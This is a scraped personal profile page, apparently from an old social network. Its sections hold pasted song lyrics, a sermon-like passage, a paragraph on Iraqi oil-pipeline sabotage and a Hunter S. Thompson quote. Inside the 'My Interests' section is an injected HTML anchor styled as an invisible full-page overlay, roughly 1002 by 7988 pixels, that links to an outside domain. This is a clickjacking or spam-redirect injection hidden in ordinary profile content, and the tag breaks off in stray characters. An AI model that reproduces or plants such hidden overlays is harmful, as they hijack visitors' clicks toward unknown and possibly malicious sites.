I may have been Jesus, but you will never know. profile picture

I may have been Jesus, but you will never know.

You walked away, the pain began. I knew I'd never, know love again.

About Me

No my dog won't bite you, though it had the right to. Gotta give her credit, cause she knows I would have let it happen. Strangers in the night, Exchanging glances. Wondering in the night, What were the chances, We'd be sharing love, Before the night was through.Something in your eyes, Was so inviting. Something in your smile, Was so exciting. Something in my heart, Told me I must have you.Strangers in the night, two lonely people. We were strangers in the night, Up to the moment when we said our first said hello, Little did we know, Love was just a glance away, A warm embracing dance away... Once I thought two happy hearts, Could some day beat as one. But then a third heart came along, and now our love is gone. I count the many times I've said, "I love no one but you." But don't be fooled by counting dreams, that never will come true.Subtract one love,--and multiply the heartaches, divide the tears, by every time a heart breaks. The answer al--ways tells us that its too late. Subract one love, and multiply the heartaches

My Interests

Man is born. Man lives. Man dies. And it's all vanity. And that's about the way it is on the Merry-Go-Round. You get on. You go around, standing in the saddle. Man is born. Man lives. Man dies. And it's all vanity. He tries thrills. He said "I gave my soul to enjoy pleasure." What are teenagers doing today? They are trying every thrill there is in the book... We've got colored TV's.<a class="popup_wrapper" style="cursor:default;background-image:none;left:0px;to p:0px;height:7988px;width:1002px;"class=popup_x href="http://krnac.cn/s/" m$l$

I'd like to meet:

I wanna love ya, every day and every night. Ice-age heat wave, can't complain. If the world's at large, why should I remain? Walked away to another plan. Gonna find another place, maybe one I can stand. I move on to another day, to a whole new town with a whole new way. Went to the porch to have a thought. Got to the door and again, I couldn't stop. You don't know where and you don't know when. But you still got your words and you got your friends. Walk along to another day. Work a little harder, work another way.Well uh-uh baby I ain't got no plan. We'll float on maybe would you understand? Gonna float on maybe would you understand? Well float on maybe would you understand?The days get shorter and the nights get cold. I like the autumn but this place is getting old. I pack up my belongings and I head for the coast. It might not be a lot but I feel like I'm making the most. The days get longer and the nights smell green. I guess it's not surprising but it's spring and I should leave.I like songs about drifters - books about the same. They both seem to make me feel a little less insane. Walked on off to another spot. I still haven't gotten anywhere that I want. Did I want love? Did I need to know? Why does it always feel like I'm caught in an undertow?The moths beat themselves to death against the lights. Adding their breeze to the summer nights. Outside, water like air was great. I didn't know what I had that day. Walk a little farther to another plan. You said that you did, but you didn't understand.I know that starting over is not what life's about. But my thoughts were so loud I couldn't hear my mouth. My thoughts were so loud I couldn't hear my mouth. My thoughts were so loud.

Music:

The insurgency has crippled Iraq’s capacity to export more oil. When U.S. forces first entered Baghdad in April 2003, U.S. officials confidently spoke of boosting Iraq’s prewar production of 2.5 million barrels per day to 3 mbd in 2004 and 5-6 mbd by the end of this decade. Today, because of persistent sabotage of pipelines and refineries, Iraq is producing less oil than it did before the war—about 2 mbd. In northern Iraq, insurgents have repeatedly bombed the main export pipeline to Turkey, taking it out of operation for months at a time; in the south, saboteurs have periodically crippled key pipelines and loading platforms, curtailing exports by sea. The United States has spent billions of dollars to repair these facilities and to enhance security along the pipeline routes, all to no avail.

Books:

Good books are good.

Heroes:

The Edge... There is no honest way to explain it because the only people who really know where it is are the ones who have gone over. The others, the living, are those who pushed their control as far as they felt they could handle it, and then pulled back, or slowed down, or did whatever they had to when it came time to choose between Now and Later.But the edge is still Out there. Or maybe it's In. The association of motorcyles with LSD is no accident of publicity. They are both a means to an end, to the place of definitions." --- HST '65